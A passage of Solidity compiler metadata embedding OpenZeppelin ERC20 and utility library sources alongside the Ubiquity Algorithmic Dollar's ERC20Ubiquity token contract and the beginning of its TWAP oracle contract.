`amount` tokens from `account`, reducing the\\n * total supply.\\n *\\n * Emits a {Transfer} event with `to` set to the zero address.\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n * - `account` must have at least `amount` tokens.\\n */\\n function _burn(address account, uint256 amount) internal virtual {\\n require(account != address(0), \\\"ERC20: burn from the zero address\\\");\\n\\n _beforeTokenTransfer(account, address(0), amount);\\n\\n uint256 accountBalance = _balances[account];\\n require(accountBalance >= amount, \\\"ERC20: burn amount exceeds balance\\\");\\n _balances[account] = accountBalance - amount;\\n _totalSupply -= amount;\\n\\n emit Transfer(account, address(0), amount);\\n }\\n\\n /**\\n * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\\n *\\n * This internal function is equivalent to `approve`, and can be used to\\n * e.g. set automatic allowances for certain subsystems, etc.\\n *\\n * Emits an {Approval} event.\\n *\\n * Requirements:\\n *\\n * - `owner` cannot be the zero address.\\n * - `spender` cannot be the zero address.\\n */\\n function _approve(address owner, address spender, uint256 amount) internal virtual {\\n require(owner != address(0), \\\"ERC20: approve from the zero address\\\");\\n require(spender != address(0), \\\"ERC20: approve to the zero address\\\");\\n\\n _allowances[owner][spender] = amount;\\n emit Approval(owner, spender, amount);\\n }\\n\\n /**\\n * @dev Hook that is called before any transfer of tokens. This includes\\n * minting and burning.\\n *\\n * Calling conditions:\\n *\\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\\n * will be to transferred to `to`.\\n * - when `from` is zero, `amount` tokens will be minted for `to`.\\n * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\\n * - `from` and `to` are never both zero.\\n *\\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\\n */\\n function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }\\n}\\n\",\"keccak256\":\"0xfeccdcbf67b2006a715e5af1a4c7556004d95b2806552b5cc54e46e8eb7e887b\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/IERC20.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Interface of the ERC20 standard as defined in the EIP.\\n */\\ninterface IERC20 {\\n /**\\n * @dev Returns the amount of tokens in existence.\\n */\\n function totalSupply() external view returns (uint256);\\n\\n /**\\n * @dev Returns the amount of tokens owned by `account`.\\n */\\n function balanceOf(address account) external view returns (uint256);\\n\\n /**\\n * @dev Moves `amount` tokens from the caller's account to `recipient`.\\n *\\n * Returns a boolean value indicating whether the operation succeeded.\\n *\\n * Emits a {Transfer} event.\\n */\\n function transfer(address recipient, uint256 amount) external returns (bool);\\n\\n /**\\n * @dev Returns the remaining number of tokens that `spender` will be\\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\\n * zero by default.\\n *\\n * This value changes when {approve} or {transferFrom} are called.\\n */\\n function allowance(address owner, address spender) external view returns (uint256);\\n\\n /**\\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\\n *\\n * Returns a boolean value indicating whether the operation succeeded.\\n *\\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\\n * that someone may use both the old and the new allowance by unfortunate\\n * transaction ordering. One possible solution to mitigate this race\\n * condition is to first reduce the spender's allowance to 0 and set the\\n * desired value afterwards:\\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\\n *\\n * Emits an {Approval} event.\\n */\\n function approve(address spender, uint256 amount) external returns (bool);\\n\\n /**\\n * @dev Moves `amount` tokens from `sender` to `recipient` using the\\n * allowance mechanism. `amount` is then deducted from the caller's\\n * allowance.\\n *\\n * Returns a boolean value indicating whether the operation succeeded.\\n *\\n * Emits a {Transfer} event.\\n */\\n function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);\\n\\n /**\\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\\n * another (`to`).\\n *\\n * Note that `value` may be zero.\\n */\\n event Transfer(address indexed from, address indexed to, uint256 value);\\n\\n /**\\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\\n * a call to {approve}. `value` is the new allowance.\\n */\\n event Approval(address indexed owner, address indexed spender, uint256 value);\\n}\\n\",\"keccak256\":\"0xf8e8d118a7a8b2e134181f7da655f6266aa3a0f9134b2605747139fcb0c5d835\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../ERC20.sol\\\";\\nimport \\\"../../../utils/Context.sol\\\";\\n\\n/**\\n * @dev Extension of {ERC20} that allows token holders to destroy both their own\\n * tokens and those that they have an allowance for, in a way that can be\\n * recognized off-chain (via event analysis).\\n */\\nabstract contract ERC20Burnable is Context, ERC20 {\\n /**\\n * @dev Destroys `amount` tokens from the caller.\\n *\\n * See {ERC20-_burn}.\\n */\\n function burn(uint256 amount) public virtual {\\n _burn(_msgSender(), amount);\\n }\\n\\n /**\\n * @dev Destroys `amount` tokens from `account`, deducting from the caller's\\n * allowance.\\n *\\n * See {ERC20-_burn} and {ERC20-allowance}.\\n *\\n * Requirements:\\n *\\n * - the caller must have allowance for ``accounts``'s tokens of at least\\n * `amount`.\\n */\\n function burnFrom(address account, uint256 amount) public virtual {\\n uint256 currentAllowance = allowance(account, _msgSender());\\n require(currentAllowance >= amount, \\\"ERC20: burn amount exceeds allowance\\\");\\n _approve(account, _msgSender(), currentAllowance - amount);\\n _burn(account, amount);\\n }\\n}\\n\",\"keccak256\":\"0xb8cc16fa5514ccbff1123c566ec0a21682f1ded0ca7e5df719c6bd0b7429390a\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/extensions/ERC20Pausable.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../ERC20.sol\\\";\\nimport \\\"../../../security/Pausable.sol\\\";\\n\\n/**\\n * @dev ERC20 token with pausable token transfers, minting and burning.\\n *\\n * Useful for scenarios such as preventing trades until the end of an evaluation\\n * period, or having an emergency switch for freezing all token transfers in the\\n * event of a large bug.\\n */\\nabstract contract ERC20Pausable is ERC20, Pausable {\\n /**\\n * @dev See {ERC20-_beforeTokenTransfer}.\\n *\\n * Requirements:\\n *\\n * - the contract must not be paused.\\n */\\n function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {\\n super._beforeTokenTransfer(from, to, amount);\\n\\n require(!paused(), \\\"ERC20Pausable: token transfer while paused\\\");\\n }\\n}\\n\",\"keccak256\":\"0x86b0abb859d38e6909101e8dce6fad76543cd1443788b049fd182379b42cb6e3\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../IERC20.sol\\\";\\n\\n/**\\n * @dev Interface for the optional metadata functions from the ERC20 standard.\\n *\\n * _Available since v4.1._\\n */\\ninterface IERC20Metadata is IERC20 {\\n /**\\n * @dev Returns the name of the token.\\n */\\n function name() external view returns (string memory);\\n\\n /**\\n * @dev Returns the symbol of the token.\\n */\\n function symbol() external view returns (string memory);\\n\\n /**\\n * @dev Returns the decimals places of the token.\\n */\\n function decimals() external view returns (uint8);\\n}\\n\",\"keccak256\":\"0x83fe24f5c04a56091e50f4a345ff504c8bff658a76d4c43b16878c8f940c53b2\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../IERC20.sol\\\";\\nimport \\\"../../../utils/Address.sol\\\";\\n\\n/**\\n * @title SafeERC20\\n * @dev Wrappers around ERC20 operations that throw on failure (when the token\\n * contract returns false). Tokens that return no value (and instead revert or\\n * throw on failure) are also supported, non-reverting calls are assumed to be\\n * successful.\\n * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,\\n * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.\\n */\\nlibrary SafeERC20 {\\n using Address for address;\\n\\n function safeTransfer(IERC20 token, address to, uint256 value) internal {\\n _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\\n }\\n\\n function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {\\n _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\\n }\\n\\n /**\\n * @dev Deprecated. This function has issues similar to the ones found in\\n * {IERC20-approve}, and its usage is discouraged.\\n *\\n * Whenever possible, use {safeIncreaseAllowance} and\\n * {safeDecreaseAllowance} instead.\\n */\\n function safeApprove(IERC20 token, address spender, uint256 value) internal {\\n // safeApprove should only be called when setting an initial allowance,\\n // or when resetting it to zero. To increase and decrease it, use\\n // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\\n // solhint-disable-next-line max-line-length\\n require((value == 0) || (token.allowance(address(this), spender) == 0),\\n \\\"SafeERC20: approve from non-zero to non-zero allowance\\\"\\n );\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\\n }\\n\\n function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {\\n uint256 newAllowance = token.allowance(address(this), spender) + value;\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\\n }\\n\\n function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {\\n unchecked {\\n uint256 oldAllowance = token.allowance(address(this), spender);\\n require(oldAllowance >= value, \\\"SafeERC20: decreased allowance below zero\\\");\\n uint256 newAllowance = oldAllowance - value;\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\\n }\\n }\\n\\n /**\\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\\n * on the return value: the return value is optional (but if data is returned, it must not be false).\\n * @param token The token targeted by the call.\\n * @param data The call data (encoded using abi.encode or one of its variants).\\n */\\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\\n // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that\\n // the target address contains contract code and also asserts for success in the low-level call.\\n\\n bytes memory returndata = address(token).functionCall(data, \\\"SafeERC20: low-level call failed\\\");\\n if (returndata.length > 0) { // Return data is optional\\n // solhint-disable-next-line max-line-length\\n require(abi.decode(returndata, (bool)), \\\"SafeERC20: ERC20 operation did not succeed\\\");\\n }\\n }\\n}\\n\",\"keccak256\":\"0x99f5c21018d796db7833a2100bb0e7411999e248a3c950fb526eee5d2bf47cb7\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Address.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Collection of functions related to the address type\\n */\\nlibrary Address {\\n /**\\n * @dev Returns true if `account` is a contract.\\n *\\n * [IMPORTANT]\\n * ====\\n * It is unsafe to assume that an address for which this function returns\\n * false is an externally-owned account (EOA) and not a contract.\\n *\\n * Among others, `isContract` will return false for the following\\n * types of addresses:\\n *\\n * - an externally-owned account\\n * - a contract in construction\\n * - an address where a contract will be created\\n * - an address where a contract lived, but was destroyed\\n * ====\\n */\\n function isContract(address account) internal view returns (bool) {\\n // This method relies on extcodesize, which returns 0 for contracts in\\n // construction, since the code is only stored at the end of the\\n // constructor execution.\\n\\n uint256 size;\\n // solhint-disable-next-line no-inline-assembly\\n assembly { size := extcodesize(account) }\\n return size > 0;\\n }\\n\\n /**\\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\\n * `recipient`, forwarding all available gas and reverting on errors.\\n *\\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\\n * imposed by `transfer`, making them unable to receive funds via\\n * `transfer`. {sendValue} removes this limitation.\\n *\\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\\n *\\n * IMPORTANT: because control is transferred to `recipient`, care must be\\n * taken to not create reentrancy vulnerabilities. Consider using\\n * {ReentrancyGuard} or the\\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\\n */\\n function sendValue(address payable recipient, uint256 amount) internal {\\n require(address(this).balance >= amount, \\\"Address: insufficient balance\\\");\\n\\n // solhint-disable-next-line avoid-low-level-calls, avoid-call-value\\n (bool success, ) = recipient.call{ value: amount }(\\\"\\\");\\n require(success, \\\"Address: unable to send value, recipient may have reverted\\\");\\n }\\n\\n /**\\n * @dev Performs a Solidity function call using a low level `call`. A\\n * plain`call` is an unsafe replacement for a function call: use this\\n * function instead.\\n *\\n * If `target` reverts with a revert reason, it is bubbled up by this\\n * function (like regular Solidity function calls).\\n *\\n * Returns the raw returned data. To convert to the expected return value,\\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\\n *\\n * Requirements:\\n *\\n * - `target` must be a contract.\\n * - calling `target` with `data` must not revert.\\n *\\n * _Available since v3.1._\\n */\\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\\n return functionCall(target, data, \\\"Address: low-level call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\\n * `errorMessage` as a fallback revert reason when `target` reverts.\\n *\\n * _Available since v3.1._\\n */\\n function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {\\n return functionCallWithValue(target, data, 0, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but also transferring `value` wei to `target`.\\n *\\n * Requirements:\\n *\\n * - the calling contract must have an ETH balance of at least `value`.\\n * - the called Solidity function must be `payable`.\\n *\\n * _Available since v3.1._\\n */\\n function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\\n return functionCallWithValue(target, data, value, \\\"Address: low-level call with value failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\\n * with `errorMessage` as a fallback revert reason when `target` reverts.\\n *\\n * _Available since v3.1._\\n */\\n function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {\\n require(address(this).balance >= value, \\\"Address: insufficient balance for call\\\");\\n require(isContract(target), \\\"Address: call to non-contract\\\");\\n\\n // solhint-disable-next-line avoid-low-level-calls\\n (bool success, bytes memory returndata) = target.call{ value: value }(data);\\n return _verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but performing a static call.\\n *\\n * _Available since v3.3._\\n */\\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\\n return functionStaticCall(target, data, \\\"Address: low-level static call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\\n * but performing a static call.\\n *\\n * _Available since v3.3._\\n */\\n function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {\\n require(isContract(target), \\\"Address: static call to non-contract\\\");\\n\\n // solhint-disable-next-line avoid-low-level-calls\\n (bool success, bytes memory returndata) = target.staticcall(data);\\n return _verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but performing a delegate call.\\n *\\n * _Available since v3.4._\\n */\\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\\n return functionDelegateCall(target, data, \\\"Address: low-level delegate call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\\n * but performing a delegate call.\\n *\\n * _Available since v3.4._\\n */\\n function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {\\n require(isContract(target), \\\"Address: delegate call to non-contract\\\");\\n\\n // solhint-disable-next-line avoid-low-level-calls\\n (bool success, bytes memory returndata) = target.delegatecall(data);\\n return _verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {\\n if (success) {\\n return returndata;\\n } else {\\n // Look for revert reason and bubble it up if present\\n if (returndata.length > 0) {\\n // The easiest way to bubble the revert reason is using memory via assembly\\n\\n // solhint-disable-next-line no-inline-assembly\\n assembly {\\n let returndata_size := mload(returndata)\\n revert(add(32, returndata), returndata_size)\\n }\\n } else {\\n revert(errorMessage);\\n }\\n }\\n }\\n}\\n\",\"keccak256\":\"0x069b2631bb5b5193a58ccf7a06266c7361bd2c20095667af4402817605627f45\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Context.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/*\\n * @dev Provides information about the current execution context, including the\\n * sender of the transaction and its data. While these are generally available\\n * via msg.sender and msg.data, they should not be accessed in such a direct\\n * manner, since when dealing with meta-transactions the account sending and\\n * paying for execution may not be the actual sender (as far as an application\\n * is concerned).\\n *\\n * This contract is only required for intermediate, library-like contracts.\\n */\\nabstract contract Context {\\n function _msgSender() internal view virtual returns (address) {\\n return msg.sender;\\n }\\n\\n function _msgData() internal view virtual returns (bytes calldata) {\\n this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691\\n return msg.data;\\n }\\n}\\n\",\"keccak256\":\"0xf930d2df426bfcfc1f7415be724f04081c96f4fb9ec8d0e3a521c07692dface0\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Strings.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev String operations.\\n */\\nlibrary Strings {\\n bytes16 private constant alphabet = \\\"0123456789abcdef\\\";\\n\\n /**\\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\\n */\\n function toString(uint256 value) internal pure returns (string memory) {\\n // Inspired by OraclizeAPI's implementation - MIT licence\\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\\n\\n if (value == 0) {\\n return \\\"0\\\";\\n }\\n uint256 temp = value;\\n uint256 digits;\\n while (temp != 0) {\\n digits++;\\n temp /= 10;\\n }\\n bytes memory buffer = new bytes(digits);\\n while (value != 0) {\\n digits -= 1;\\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\\n value /= 10;\\n }\\n return string(buffer);\\n }\\n\\n /**\\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\\n */\\n function toHexString(uint256 value) internal pure returns (string memory) {\\n if (value == 0) {\\n return \\\"0x00\\\";\\n }\\n uint256 temp = value;\\n uint256 length = 0;\\n while (temp != 0) {\\n length++;\\n temp >>= 8;\\n }\\n return toHexString(value, length);\\n }\\n\\n /**\\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\\n */\\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\\n bytes memory buffer = new bytes(2 * length + 2);\\n buffer[0] = \\\"0\\\";\\n buffer[1] = \\\"x\\\";\\n for (uint256 i = 2 * length + 1; i > 1; --i) {\\n buffer[i] = alphabet[value & 0xf];\\n value >>= 4;\\n }\\n require(value == 0, \\\"Strings: hex length insufficient\\\");\\n return string(buffer);\\n }\\n\\n}\\n\",\"keccak256\":\"0x456e9b3a2bfe189b5249857f624f4139e59331db518483b456c4e587a20552e0\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/introspection/ERC165.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"./IERC165.sol\\\";\\n\\n/**\\n * @dev Implementation of the {IERC165} interface.\\n *\\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\\n * for the additional interface id that will be supported. For example:\\n *\\n * ```solidity\\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\\n * }\\n * ```\\n *\\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\\n */\\nabstract contract ERC165 is IERC165 {\\n /**\\n * @dev See {IERC165-supportsInterface}.\\n */\\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\\n return interfaceId == type(IERC165).interfaceId;\\n }\\n}\\n\",\"keccak256\":\"0x5718c5df9bd67ac68a796961df938821bb5dc0cd4c6118d77e9145afb187409b\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/introspection/IERC165.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Interface of the ERC165 standard, as defined in the\\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\\n *\\n * Implementers can declare support of contract interfaces, which can then be\\n * queried by others ({ERC165Checker}).\\n *\\n * For an implementation, see {ERC165}.\\n */\\ninterface IERC165 {\\n /**\\n * @dev Returns true if this contract implements the interface defined by\\n * `interfaceId`. See the corresponding\\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\\n * to learn more about how these ids are created.\\n *\\n * This function call must use less than 30 000 gas.\\n */\\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\\n}\\n\",\"keccak256\":\"0xa28007762d9da9db878dd421960c8cb9a10471f47ab5c1b3309bfe48e9e79ff4\",\"license\":\"MIT\"},\"contracts/ERC20Ubiquity.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC20/ERC20.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/extensions/ERC20Pausable.sol\\\";\\nimport \\\"./UbiquityAlgorithmicDollarManager.sol\\\";\\nimport \\\"./interfaces/IERC20Ubiquity.sol\\\";\\n\\n/// @title ERC20 Ubiquity preset\\n/// @author Ubiquity Algorithmic Dollar\\n/// @notice ERC20 with :\\n/// - ERC20 minter, burner and pauser\\n/// - draft-ERC20 permit\\n/// - Ubiquity Manager access control\\ncontract ERC20Ubiquity is IERC20Ubiquity, ERC20, ERC20Burnable, ERC20Pausable {\\n UbiquityAlgorithmicDollarManager public manager;\\n\\n // solhint-disable-next-line var-name-mixedcase\\n bytes32 public DOMAIN_SEPARATOR;\\n // keccak256(\\\"Permit(address owner,address spender,\\n // uint256 value,uint256 nonce,uint256 deadline)\\\");\\n bytes32 public constant PERMIT_TYPEHASH =\\n 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;\\n mapping(address => uint256) public nonces;\\n string private _tokenName;\\n string private _symbol;\\n\\n // ----------- Modifiers -----------\\n modifier onlyMinter() {\\n require(\\n manager.hasRole(manager.UBQ_MINTER_ROLE(), msg.sender),\\n \\\"Governance token: not minter\\\"\\n );\\n _;\\n }\\n\\n modifier onlyBurner() {\\n require(\\n manager.hasRole(manager.UBQ_BURNER_ROLE(), msg.sender),\\n \\\"Governance token: not burner\\\"\\n );\\n _;\\n }\\n\\n modifier onlyPauser() {\\n require(\\n manager.hasRole(manager.PAUSER_ROLE(), msg.sender),\\n \\\"Governance token: not pauser\\\"\\n );\\n _;\\n }\\n\\n modifier onlyAdmin() {\\n require(\\n manager.hasRole(manager.DEFAULT_ADMIN_ROLE(), msg.sender),\\n \\\"ERC20: deployer must be manager admin\\\"\\n );\\n _;\\n }\\n\\n constructor(\\n address _manager,\\n string memory name_,\\n string memory symbol_\\n ) ERC20(name_, symbol_) {\\n _tokenName = name_;\\n _symbol = symbol_;\\n manager = UbiquityAlgorithmicDollarManager(_manager);\\n // sender must be UbiquityAlgorithmicDollarManager roleAdmin\\n // because he will get the admin, minter and pauser role on uAD and we want to\\n // manage all permissions through the manager\\n require(\\n manager.hasRole(manager.DEFAULT_ADMIN_ROLE(), msg.sender),\\n \\\"ERC20: deployer must be manager admin\\\"\\n );\\n uint256 chainId;\\n // solhint-disable-next-line no-inline-assembly\\n assembly {\\n chainId := chainid()\\n }\\n\\n DOMAIN_SEPARATOR = keccak256(\\n abi.encode(\\n keccak256(\\n // solhint-disable-next-line max-line-length\\n \\\"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)\\\"\\n ),\\n keccak256(bytes(name())),\\n keccak256(bytes(\\\"1\\\")),\\n chainId,\\n address(this)\\n )\\n );\\n }\\n\\n /// @notice setSymbol update token symbol\\n /// @param newSymbol new token symbol\\n function setSymbol(string memory newSymbol) external onlyAdmin {\\n _symbol = newSymbol;\\n }\\n\\n /// @notice setName update token name\\n /// @param newName new token name\\n function setName(string memory newName) external onlyAdmin {\\n _tokenName = newName;\\n }\\n\\n /// @notice permit spending of uAD. owner has signed a message allowing\\n /// spender to transfer up to amount uAD\\n /// @param owner the uAD holder\\n /// @param spender the approved operator\\n /// @param value the amount approved\\n /// @param deadline the deadline after which the approval is no longer valid\\n function permit(\\n address owner,\\n address spender,\\n uint256 value,\\n uint256 deadline,\\n uint8 v,\\n bytes32 r,\\n bytes32 s\\n ) external override {\\n // solhint-disable-next-line not-rely-on-time\\n require(deadline >= block.timestamp, \\\"Dollar: EXPIRED\\\");\\n bytes32 digest =\\n keccak256(\\n abi.encodePacked(\\n \\\"\\\\x19\\\\x01\\\",\\n DOMAIN_SEPARATOR,\\n keccak256(\\n abi.encode(\\n PERMIT_TYPEHASH,\\n owner,\\n spender,\\n value,\\n nonces[owner]++,\\n deadline\\n )\\n )\\n )\\n );\\n address recoveredAddress = ecrecover(digest, v, r, s);\\n require(\\n recoveredAddress != address(0) && recoveredAddress == owner,\\n \\\"Dollar: INVALID_SIGNATURE\\\"\\n );\\n _approve(owner, spender, value);\\n }\\n\\n /// @notice burn UAD tokens from caller\\n /// @param amount the amount to burn\\n function burn(uint256 amount)\\n public\\n override(ERC20Burnable, IERC20Ubiquity)\\n whenNotPaused\\n {\\n super.burn(amount);\\n emit Burning(msg.sender, amount);\\n }\\n\\n /// @notice burn uAD tokens from specified account\\n /// @param account the account to burn from\\n /// @param amount the amount to burn\\n function burnFrom(address account, uint256 amount)\\n public\\n override(ERC20Burnable, IERC20Ubiquity)\\n onlyBurner\\n whenNotPaused // to suppress ? if BURNER_ROLE should do it even paused ?\\n {\\n _burn(account, amount);\\n emit Burning(account, amount);\\n }\\n\\n // @dev Creates `amount` new tokens for `to`.\\n function mint(address to, uint256 amount)\\n public\\n override\\n onlyMinter\\n whenNotPaused\\n {\\n _mint(to, amount);\\n emit Minting(to, msg.sender, amount);\\n }\\n\\n // @dev Pauses all token transfers.\\n function pause() public onlyPauser {\\n _pause();\\n }\\n\\n // @dev Unpauses all token transfers.\\n function unpause() public onlyPauser {\\n _unpause();\\n }\\n\\n /**\\n * @dev Returns the name of the token.\\n */\\n function name() public view override(ERC20) returns (string memory) {\\n return _tokenName;\\n }\\n\\n /**\\n * @dev Returns the symbol of the token, usually a shorter version of the\\n * name.\\n */\\n function symbol() public view override(ERC20) returns (string memory) {\\n return _symbol;\\n }\\n\\n function _beforeTokenTransfer(\\n address from,\\n address to,\\n uint256 amount\\n ) internal virtual override(ERC20, ERC20Pausable) {\\n super._beforeTokenTransfer(from, to, amount);\\n }\\n\\n function _transfer(\\n address sender,\\n address recipient,\\n uint256 amount\\n ) internal virtual override whenNotPaused {\\n super._transfer(sender, recipient, amount);\\n }\\n}\\n\",\"keccak256\":\"0x131a8776645c08696d9aa7c4ff1d6c1bd69a899f67392556b64c6b9de7e302da\",\"license\":\"MIT\"},\"contracts/TWAPOracle.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"./interfaces/IMetaPool.sol\\\";\\n\\ncontract TWAPOracle {\\n address public immutable pool;\\n address public immutable token0;\\n address public immutable token1;\\n uint256 public price0Average;\\n uint256 public price1Average;\\n uint256 public pricesBlockTimestampLast;\\n uint256[2] public priceCumulativeLast;\\n\\n constructor(\\n address _pool,\\n address _uADtoken0,\\n address _curve3CRVtoken1\\n ) {\\n pool = _pool;\\n // coin at index 0 is uAD and index 1 is 3CRV\\n require(\\n IMetaPool(_pool).coins(0) == _uADtoken0 &&\\n IMetaPool(_pool).coins(1) == _curve3CRVtoken1,\\n \\\"TWAPOracle: COIN_ORDER_MISMATCH\\\"\\n );\\n\\n token0 = _uADtoken0;\\n token1 = _curve3CRVtoken1;\\n\\n uint256 _reserve0 = uint112(IMetaPool(_pool).balances(0));\\n uint256 _reserve1 = uint112(IMetaPool(_pool).balances(1));\\n\\n // ensure that there's liquidity in the pair\\n require(_reserve0 != 0 && _reserve1 != 0, \\\"TWAPOracle: NO_RESERVES\\\");\\n // ensure that pair balance is perfect\\n require(_reserve0 == _reserve1, \\\"TWAPOracle: PAIR_UNBALANCED\\\");\\n priceCumulativeLast = IMetaPool(_pool).get_price_cumulative_last();\\n pricesBlockTimestampLast = IMetaPool(_pool).block_timestamp_last();\\n\\n price0Average = 1 ether;\\n price1Average = 1 ether;\\n }\\n\\n // calculate average price\\n function update() external {\\n (uint256[2] memory priceCumulative, uint256 blockTimestamp) =\\n _currentCumulativePrices();\\n\\n if (blockTimestamp - pricesBlockTimestampLast > 0) {\\n // get the balances between now and the last price cumulative snapshot\\n uint256[2] memory twapBalances =\\n IMetaPool(pool).get_twap_balances(\\n priceCumulativeLast,\\n priceCumulative,\\n blockTimestamp - 